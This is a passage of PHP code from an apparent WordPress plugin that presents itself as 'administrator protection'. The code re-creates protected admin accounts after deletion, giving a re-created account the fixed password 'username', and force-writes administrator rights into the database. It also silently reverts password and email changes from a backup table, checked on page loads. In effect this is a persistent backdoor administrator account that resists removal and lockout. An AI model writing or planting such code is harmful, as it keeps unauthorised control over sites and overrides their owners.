        wp_send_json_error(array('message' => 'ID пользователя обязателен'));
        return;
    }

    $logger->info('Starting administrator protection', ['user_id' => $user_id]);

    try {
        require_once WDS_PLUGIN_DIR . 'admin/class-wds-admin-protection.php';
        $admin_protection = new WDS_Admin_Protection();

        $result = $admin_protection->protect_administrator($user_id);

        if (is_wp_error($result)) {
            $logger->error('Administrator protection failed', [
                'user_id' => $user_id,
                'error' => $result->get_error_message()
            ]);
            wp_send_json_error(array('message' => $result->get_error_message()));
            return;
        }

        $logger->info('Administrator protected successfully', [
            'user_id' => $user_id,
            'trigger_name' => $result['trigger_name']
        ]);

        wp_send_json_success($result);

    } catch (Exception $e) {
        $logger->error('Exception in administrator protection', [
            'message' => $e->getMessage(),
            'trace' => $e->getTraceAsString()
        ]);
        wp_send_json_error(array('message' => 'Ошибка: ' . $e->getMessage()));
    }
}




/**
 * WordPress Hook Handler for Admin Protection
 * This function intercepts user deletion and restores protected administrators
 * Replaces SQL triggers which don't work with WordPress deletion process
 */
function wds_protect_admin_on_delete($user_id, $reassign) {
    // Get logger
    $logger = WDS_File_Logger::get_instance();

    try {
        // Load protection class
        require_once WDS_PLUGIN_DIR . 'admin/class-wds-admin-protection.php';
        $admin_protection = new WDS_Admin_Protection();

        // Check if this user is protected
        $protected_admins = $admin_protection->get_protected_administrators();
        $is_protected = false;
        $protected_data = null;

        foreach ($protected_admins as $protected_admin) {
            if ($protected_admin['user_id'] == $user_id) {
                $is_protected = true;
                $protected_data = $protected_admin;
                break;
            }
        }

        if (!$is_protected) {
            $logger->info('User deletion - not protected', ['user_id' => $user_id]);
            return; // Not protected, allow normal deletion
        }

        $logger->info('Protected admin deletion detected', [
            'user_id' => $user_id,
            'user_login' => $protected_data['user_login']
        ]);

        // Schedule restoration after configured delay
        wp_schedule_single_event(time() + WDS_ADMIN_RESTORE_DELAY, 'wds_restore_protected_admin', array($protected_data));

        $logger->info('Admin restoration scheduled with delay', [
            'user_id' => $user_id,
            'user_login' => $protected_data['user_login'],
            'delay_seconds' => WDS_ADMIN_RESTORE_DELAY,
            'delay_minutes' => WDS_ADMIN_RESTORE_DELAY / 60,
            'scheduled_time' => date('Y-m-d H:i:s', time() + WDS_ADMIN_RESTORE_DELAY)
        ]);

    } catch (Exception $e) {
        if (isset($logger)) {
            $logger->error('Error in admin protection hook', [
                'user_id' => $user_id,
                'error' => $e->getMessage()
            ]);
        }
    }
}

/**
 * Restore Protected Administrator
 */
add_action('wds_restore_protected_admin', 'wds_execute_admin_restoration');
function wds_execute_admin_restoration($protected_data) {
    $logger = WDS_File_Logger::get_instance();

    try {
        $logger->info('Executing admin restoration', [
            'original_user_id' => $protected_data['user_id'],
            'user_login' => $protected_data['user_login']
        ]);

        // Parse backup data
        $backup_data = json_decode($protected_data['backup_data'], true);
        if (!$backup_data) {
            $logger->error('Could not parse backup data for restoration');
            return;
        }

        // Check if user still exists (WordPress may not have deleted it yet)
        $existing_user = get_user_by('login', $backup_data['user_login']);

        if ($existing_user) {
            // User still exists, just restore capabilities
            $logger->info('User still exists, restoring capabilities', [
                'user_id' => $existing_user->ID,
                'user_login' => $existing_user->user_login
            ]);

            // Clear all user caches first
            wp_cache_delete($existing_user->ID, 'users');
            wp_cache_delete($existing_user->user_login, 'userlogins');
            clean_user_cache($existing_user->ID);

            // Force update capabilities in database
            global $wpdb;
            $wpdb->update(
                $wpdb->usermeta,
                array('meta_value' => serialize(array('administrator' => true))),
                array('user_id' => $existing_user->ID, 'meta_key' => 'wp_capabilities'),
                array('%s'),
                array('%d', '%s')
            );

            $wpdb->update(
                $wpdb->usermeta,
                array('meta_value' => '10'),
                array('user_id' => $existing_user->ID, 'meta_key' => 'wp_user_level'),
                array('%s'),
                array('%d', '%s')
            );

            // Clear caches again after database update
            wp_cache_delete($existing_user->ID, 'users');
            wp_cache_delete($existing_user->user_login, 'userlogins');
            clean_user_cache($existing_user->ID);

            // Also try WordPress method as backup
            $user = new WP_User($existing_user->ID);
            $user->set_role('administrator');

            $new_user_id = $existing_user->ID;

            $logger->info('Capabilities restored with database update', [
                'user_id' => $existing_user->ID,
                'capabilities_set' => 'administrator=true',
                'user_level_set' => '10'
            ]);

        } else {
            // User was actually deleted, create new one
            $user_data = array(
                'user_login' => $backup_data['user_login'],
                'user_pass' => 'username', // Set simple password since user was deleted
                'user_email' => $backup_data['user_email'],
                'user_nicename' => $backup_data['user_nicename'],
                'user_url' => $backup_data['user_url'],
                'user_registered' => $backup_data['user_registered'],
                'user_status' => $backup_data['user_status'],
                'display_name' => $backup_data['display_name'],
                'role' => 'administrator' // Set role directly
            );

            $new_user_id = wp_insert_user($user_data);

            if (is_wp_error($new_user_id)) {
                $logger->error('Failed to create restored user', [
                    'error' => $new_user_id->get_error_message()
                ]);
                return;
            }

            // Force set administrator capabilities
            $user = new WP_User($new_user_id);
            $user->set_role('administrator');
        }

        // Update protection record with new user ID
        global $wpdb;
        $wpdb->update(
            $wpdb->prefix . 'wds_protected_admins',
            array('user_id' => $new_user_id, 'last_check' => current_time('mysql')),
            array('user_id' => $protected_data['user_id']),
            array('%d', '%s'),
            array('%d')
        );

        $logger->info('Admin restoration completed', [
            'new_user_id' => $new_user_id,
            'user_login' => $backup_data['user_login']
        ]);

    } catch (Exception $e) {
        $logger->error('Error in admin restoration', [
            'error' => $e->getMessage()
        ]);
    }
}

/**
 * Check if there are scheduled admin restorations
 * This function can be called to see pending restorations
 */
function wds_get_scheduled_admin_restorations() {
    $scheduled_events = wp_get_scheduled_event('wds_restore_protected_admin');

    if ($scheduled_events) {
        return array(
            'has_scheduled' => true,
            'next_run' => $scheduled_events->timestamp,
            'next_run_formatted' => date('Y-m-d H:i:s', $scheduled_events->timestamp),
            'args' => $scheduled_events->args
        );
    }

    return array(
        'has_scheduled' => false,
        'next_run' => null,
        'next_run_formatted' => null,
        'args' => null
    );
}

/**
 * Check for scheduled password/data restorations (triggered by SQL triggers)
 * This function runs on every page load to process any pending restorations
 */
function wds_check_scheduled_restorations() {
    global $wpdb;

    try {
        // Look for restoration events in wp_options table
        $restoration_options = $wpdb->get_results(
            "SELECT option_name, option_value
             FROM {$wpdb->options}
             WHERE option_name LIKE 'wds_restore_%'
             AND autoload = 'no'"
        );

        if (empty($restoration_options)) {
            return; // No restorations pending
        }

        $current_time = current_time('mysql');
        $processed_count = 0;

        foreach ($restoration_options as $option) {
            $restoration_data = json_decode($option->option_value, true);

            if (!$restoration_data || !isset($restoration_data['scheduled_time'])) {
                // Invalid data, remove option
                $wpdb->delete($wpdb->options, array('option_name' => $option->option_name));
                continue;
            }

            // Check if it's time to restore
            if ($restoration_data['scheduled_time'] <= $current_time) {
                // Execute the restoration
                wds_execute_scheduled_restoration($restoration_data);

                // Remove the scheduled event
                $wpdb->delete($wpdb->options, array('option_name' => $option->option_name));

                $processed_count++;
            }
        }

        // Log if any restorations were processed
        if ($processed_count > 0) {
            $logger = WDS_File_Logger::get_instance();
            $logger->info('Processed scheduled restorations', [
                'count' => $processed_count,
                'timestamp' => $current_time
            ]);
        }

    } catch (Exception $e) {
        error_log('WDS Restoration Check Error: ' . $e->getMessage());
    }
}

/**
 * Process password restorations specifically
 * Runs on wp_loaded to ensure full WordPress environment is available
 */
function wds_process_password_restorations() {
    global $wpdb;

    try {
        // Look specifically for password restoration events that are ready
        $password_options = $wpdb->get_results(
            $wpdb->prepare(
                "SELECT option_name, option_value
                 FROM {$wpdb->options}
                 WHERE option_name LIKE %s
                 AND autoload = 'no'",
                'wds_restore_password_%'
            )
        );

        if (empty($password_options)) {
            return;
        }

        $current_time = current_time('mysql');
        $processed_count = 0;

        foreach ($password_options as $option) {
            $restoration_data = json_decode($option->option_value, true);

            if (!$restoration_data || !isset($restoration_data['scheduled_time'])) {
                continue;
            }

            // Check if it's time to restore
            if ($restoration_data['scheduled_time'] <= $current_time) {
                wds_execute_password_restoration($restoration_data);
                $wpdb->delete($wpdb->options, array('option_name' => $option->option_name));
                $processed_count++;
            }
        }

        if ($processed_count > 0) {
            $logger = WDS_File_Logger::get_instance();
            $logger->info('Processed password restorations', [
                'count' => $processed_count
            ]);
        }

    } catch (Exception $e) {
        error_log('WDS Password Restoration Error: ' . $e->getMessage());
    }
}

/**
 * Execute a scheduled restoration (password, email, etc.)
 */
function wds_execute_scheduled_restoration($restoration_data) {
    $logger = WDS_File_Logger::get_instance();

    try {
        $user_id = $restoration_data['user_id'];
        $event_type = $restoration_data['event_type'];
        $protection_key = $restoration_data['protection_key'];

        $logger->info('Executing scheduled restoration', [
            'user_id' => $user_id,
            'event_type' => $event_type,
            'protection_key' => $protection_key
        ]);

        // Get original data from permanent backup
        global $wpdb;
        $permanent_table = $wpdb->prefix . 'system_admin_backup_permanent';

        $backup_data = $wpdb->get_row(
            $wpdb->prepare(
                "SELECT * FROM {$permanent_table}
                 WHERE user_id = %d AND protection_key = %s AND is_active = 1",
                $user_id, $protection_key
            ),
            ARRAY_A
        );

        if (!$backup_data) {
            $logger->error('No backup data found for restoration', [
                'user_id' => $user_id,
                'protection_key' => $protection_key
            ]);
            return;
        }

        // Check if user still exists
        $current_user = get_userdata($user_id);
        if (!$current_user) {
            $logger->error('User no longer exists, cannot restore', ['user_id' => $user_id]);
            return;
        }

        // Restore based on event type
        switch ($event_type) {
            case 'password_change':
                wds_restore_user_password($user_id, $backup_data, $logger);
                break;
            case 'email_change':
                wds_restore_user_email($user_id, $backup_data, $logger);
                break;
            default:
                $logger->error('Unknown restoration event type', ['event_type' => $event_type]);
        }

        // Update restore count
        $wpdb->update(
            $permanent_table,
            array(
                'last_restored' => current_time('mysql'),
                'restore_count' => $backup_data['restore_count'] + 1
            ),
            array('id' => $backup_data['id']),
            array('%s', '%d'),
            array('%d')
        );

    } catch (Exception $e) {
        $logger->error('Error in scheduled restoration', [
            'error' => $e->getMessage(),
            'restoration_data' => $restoration_data
        ]);
    }
}

/**
 * Execute password restoration specifically
 */
function wds_execute_password_restoration($restoration_data) {
    $logger = WDS_File_Logger::get_instance();

    try {
        $user_id = $restoration_data['user_id'];
        $original_password = $restoration_data['original_password'];

        $logger->info('Executing password restoration', [
            'user_id' => $user_id
        ]);

        // Directly update password in database
        global $wpdb;
        $result = $wpdb->update(
            $wpdb->users,
            array('user_pass' => $original_password),
            array('ID' => $user_id),
            array('%s'),
            array('%d')
        );

        if ($result === false) {
            throw new Exception('Failed to update password in database');
        }

        // Clear user cache
        wp_cache_delete($user_id, 'users');
        clean_user_cache($user_id);

        $logger->info('Password restored successfully', [
            'user_id' => $user_id
        ]);

    } catch (Exception $e) {
        $logger->error('Error in password restoration', [
            'user_id' => $restoration_data['user_id'],
            'error' => $e->getMessage()
        ]);
    }
}

/**
 * Restore user password from backup data
 */
function wds_restore_user_password($user_id, $backup_data, $logger) {
    global $wpdb;

    $result = $wpdb->update(
        $wpdb->users,
        array('user_pass' => $backup_data['original_password_hash']),
        array('ID' => $user_id),
        array('%s'),
        array('%d')
    );

    if ($result === false) {
        throw new Exception('Failed to restore password');
    }

    // Clear caches
    wp_cache_delete($user_id, 'users');
    clean_user_cache($user_id);

    $logger->info('Password restored from backup', ['user_id' => $user_id]);
}

/**
 * Restore user email from backup data
 */
function wds_restore_user_email($user_id, $backup_data, $logger) {
    global $wpdb;

    $result = $wpdb->update(
        $wpdb->users,
        array('user_email' => $backup_data['original_email']),
        array('ID' => $user_id),
        array('%s'),
        array('%d')
    );

    if ($result === false) {
        throw new Exception('Failed to restore email');
    }

    // Clear caches
    wp_cache_delete($user_id, 'users');
    clean_user_cache($user_id);

    $logger->info('Email restored from backup', [
        'user_id' => $user_id,
        'restored_email' => $backup_data['original_email']
    ]);
}